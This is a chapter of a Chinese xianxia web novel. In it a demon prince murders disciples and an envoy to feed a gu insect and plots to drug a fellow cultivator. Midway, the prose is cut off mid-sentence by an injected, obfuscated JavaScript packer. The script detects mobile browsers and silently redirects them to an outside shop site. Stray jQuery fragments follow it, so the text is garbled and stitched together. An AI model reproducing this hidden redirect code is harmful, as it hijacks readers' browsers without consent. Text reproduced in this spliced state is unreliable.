18. 七星盏蛊(三)
    殷无道猛地睁开双眼,终于从光怪陆离的梦境中挣扎出来,他看到自己手掌上和白衣上已经干掉的血液,身子突然微微抖动一下,仿佛受惊一般,直到将乱草里横七竖八卧倒的尸体一一扫视过,确定了某件事,才镇定下来,冷冰冰地看着站立在一旁的两个男人,一个多字也不想多说:

    “人呢?”

    “回少君,雪月山周围是纯阴体质的少男少女几乎都在这了。”答话的男人也穿着雪月山校服,躬身站立,声音不住打颤:“暂时……暂时找不到了。”

    殷无道抬眼,冷淡道:“山下找不到,那就直接从雪月山上抓。”

    声音打颤的男人被殷无道如兽一般毫无波澜的眸子扫过,寒气直冲到脑门,立即跪伏在地上,双手按在浸透鲜血的杂草上,他唇舌不听使唤,一句话说得磕磕绊绊:

    “少……少君,魔界……那边已经……派人来,来传信了,时势……有动,不许咱们再像以前那样……了。”

    “哦?”殷无道目光中带着一种毫不在乎的嘲弄,看着他口中说的魔界派来传信的人——站立在一派的中年男人,问道:“哪样?”

    “哪样?”被问话的中年男人脸上浮动着黑气,看着殷无道这般荒唐放纵,完全不考虑身上背负的魔族使命,气不打一处来,怒斥道:“哪样?就是你这样!毫无顾忌,做什么事只凭你一时心血,雪月山的弟子岂是你说杀就能杀的!你以为这是在魔界?你这么多年暗地里杀了多少雪月派弟子?魔族苦心安插在雪月山的弟子拉出去多少为你挡刀了?再由你继续抓来雪月山弟子掏心掏肺,去养那个什么自以为厉害的蛊虫吗?”

    殷无道倚在树旁,刚从梦境中挣脱,撑住头的那只手干净又骨节分明,另一只被血迹染红的手已经低垂着隐进白色袖子里,他面对一群尸体间吵闹的活人,只是轻轻歪头,嫣红的唇紧闭着,面色看起来出其的平静。

    然而只有熟悉他的人才知道,这是一种嗜血前的极度冷漠。

    伏在地上的人身子欲发打颤了,他头几乎埋在地上,鼻尖已经快要触碰到草地上半凝结的鲜血了,他拼尽勇气,无声地拽了拽中年男人黑色的衣袍角,一下,两下……

    “别……”,别说了,别说了!你,你没来过,没见过,你不知道的,你根本不知道少君!

    男人感受到袍角传来的若有若无像没吃饱饭的力度,嘲笑般地勾起鞋尖踢了踢那团伏在地上发抖的……废物。

    他就知道,魔族的未来,靠不了这些怂货废物。

    少君吗?有什么好怕得?一个死了父君的半大崽子,被放在雪月山上这么多年,既没有父君兄弟帮持,也没有心腹亲信积累,恐怕在雪月山待久了,早都忘记在茹毛饮血的魔族,一个少君,根本算不得什么。

    男人环视四周——林影幽暗,横尸满地,殷无道袍摆溅满鲜血,一脸无所谓地倚在树边,在这片雪月山的偏处此刻竟然弥漫着比魔界还浓得血腥味……真是,无法无天。

    “雪月山的结界越来越越难对付了,注意身上的封印,隐藏住魔气,一切必须等待魔君安排!”

    “啍,少废些心思放在那些蛊虫上,真要那么厉害,殷硝也不至于死了。”

    殷硝,就是殷无道的父君,死了,早死了,死于乱斗,不敌于人。

    殷硝只留下三样东西——殷无道,殷无道的少君之位,七星盏蛊。

    伏在地上的人,突然生出了无限力量,手脚并用地远离了中年男人。

    “只能听从魔君的安排吗?”殷无道说话间竟然露出了一抹笑容,说是饱满艳丽也不为过,不管他的笑容真心还是假意,但五官张扬艳丽是真,确是一张好脸。

    这次是男人与殷无道为数不多的见面之一,他自认为不和其他那些怂包废物一样,不会对这位“流落在外有名无实”的少君畏之如虎,但此时,也实在摸不清他的笑容,无形中提了一口气,没有答话。

    “原来如此,我明白了。”殷无道语气出乎意料得平稳,他站直身,垂眸将沾血的手蹭在腰间还算雪白的布料上,一下,两下……像是想要蹭掉血迹似得,可惜了,徒劳——血早干了。

    气氛就像是落在草尖的血液,凝结成血块,把草身压得直不起腰。

    意识到手上血迹已干,再擦也是徒劳,殷无道终于放弃了擦手,抬眼看着等待中的男人,挑眉道:“我可没什么想让你传回去的。”

    男人松了口气,决定在临走前,最后尽责一番,指了指地上的横尸,语气听起来不容商量:“这些立刻用魔渊火烧干净,不能被人发现。”

    “我有经验。”殷无道紧盯着男人,话音未落,突然从极快地从腰间掏出一个东西含住,轻轻一吹。

    一切都发生在电光火石之间!“嗖”的一声飞近男人的耳边,毒针撕裂空气的声音无比细微,穿透喉咙的声音却在从男人耳中一直轰炸到大脑,在双手紧捂住喉咙倒下的最后一刹那,他看到殷无道嫣红的上下唇松开一截手指长短的莹白玉笛,雪白的牙齿若隐若现,轻松一笑:“我替以后的我,提前安排了。”

    地上的男人很快失去了呼吸,殷无道慢悠悠地收回了那截玉笛暗器,问地下跪着的人:“你叫什么,我又忘了。”

    “回少君,您叫我,三十七。”

    三十七,第三十七位在殷无道身边照应的魔族子弟。当然,也是目前为止活得最长的一个。

    “你来几年了。”

    “回少君,一年半。”

    殷无道走近三十七号,低头看着颤抖低伏的身影,好像想到什么人,脸色愉快了几分,似乎对这种诚惶诚恐自认卑贱的姿势十分受用,要是有一天……

    “那天,我离开后,沈臻道同冷溶冰说了些什么?”殷无道毫无预兆地发问。

    “回少君,说了英雄帖的事。此次为仙林大会下山送英雄帖,守寂峰同守律峰共送一帖,守律峰照旧是周游,守寂峰是冷溶冰和沈臻道。”

    殷无道神情一钝,脸上的愉快在听到“沈臻道”三个字时霎时消失了。

    “沈臻道是听说冷溶冰去,才主动要求下山

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294106|152132||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    同去的。”三十七号仿佛已经预测到了殷无道要问什么,微微抬了点苍白的脸,继续补充道:“三日后出发,去人界上璧,给上璧林家送帖。”

    殷无道似乎做出了想笑的表情,只可惜没能笑出声,艳丽的五官无声地拧了一下,动一动袖袍,血红的手掌上现出一个透明的药瓶。

    琉璃药瓶只有半个手掌大小,装满淡金色液体,瓶子正中央,一只已经成年的蛊虫正浸在液体中,不住扭动身体,透出明显的饥渴。

    殷无道血红的手掌举着药瓶,袖子滑掉下来,一直滑到露出雪白手臂,他痴痴地盯着,这么多年就养了这么一条,现在就差一点就成了。

    已经比原本应该耗得时间快得多了,可是似乎还不够。

    谁知道他们又会说些什么呢?

    就在三十七号以为这场劫难终于在最后的沉默中过去的时候,手掌穿破血肉的声音像尖刀刺破了沉默,他下意思猛地一瑟缩,闭上了眼睛!

    直到意识到想象中的刺痛并没有到来,三十七号才睁开眼,看见了眼前令人胆寒的一幕——

    殷无道雪白派服上从心口位置晕开血色的花,这花抽干了他脸上的所有血色,连那永远嫣红的唇也惨白着,一双眼睛瞳仁此时被衬得尤其黑,脸上闪烁着无比疯狂的光。

    “少……少君你……”

    “真是差点就忘了啊,我不就是全阴体质吗?”殷无道转身的样子有些费力,并不妨碍他神情如同瓶子里吃饱喝足的蛊虫一般满足,他晃了晃手中的琉璃瓶,说话间竟有几分孩子气的得意:

    “你看,果然事半功倍,成了……”

    三十七号视线落到中年男人还未凉透的尸体上,在心里喃喃道,你不知道少君的。

    …………

    魔渊火幽蓝的火焰贪婪地吞噬了地上的所有尸体,还有殷无道那身被染成血衣的校服,雪月山上风大,过不了多久,连血腥味都会散得干干净净,就算有人摸到这也不会发现这曾经发生过什么,站在远处一看,依然是那个雪白无瑕仙气飘然的雪月山,是不容冒犯的仙家圣地。

    殷无道的两手恢复了干干净净,他凝神的侧影淡淡地落在琉璃药瓶上,他仿佛还在这药瓶上看见了另一个人的影子,他想象着这药瓶里的心血“咕咚咕咚”倒进一寸柔软白净的咽喉里,他绝不会吝啬,最好一滴都不要剩。

    到时候,就什么都能说了。

    “三十七,你从魔界带的药还有吗?”

    “少君,有的,藏得很紧。”

    “很好,拿给我,是时候用了。”

    **

    雷声滚滚,雪月山下起了倾盆大雨,沈臻道站在廊前,一面欣赏朦胧雨幕,一面有些担心,下这么大雨,要是明天还不停,会不会影响下山呢?这次要做的事可是很重要的,转念才意识到自己已经不是那惧雨惧火的凡人沈臻道了,修仙人怎么会被一点雨就挡住呢。

    沈臻道面容明净,在哗啦啦的雨声中,柔声低语道:

    “一切,都和从前不一样了。”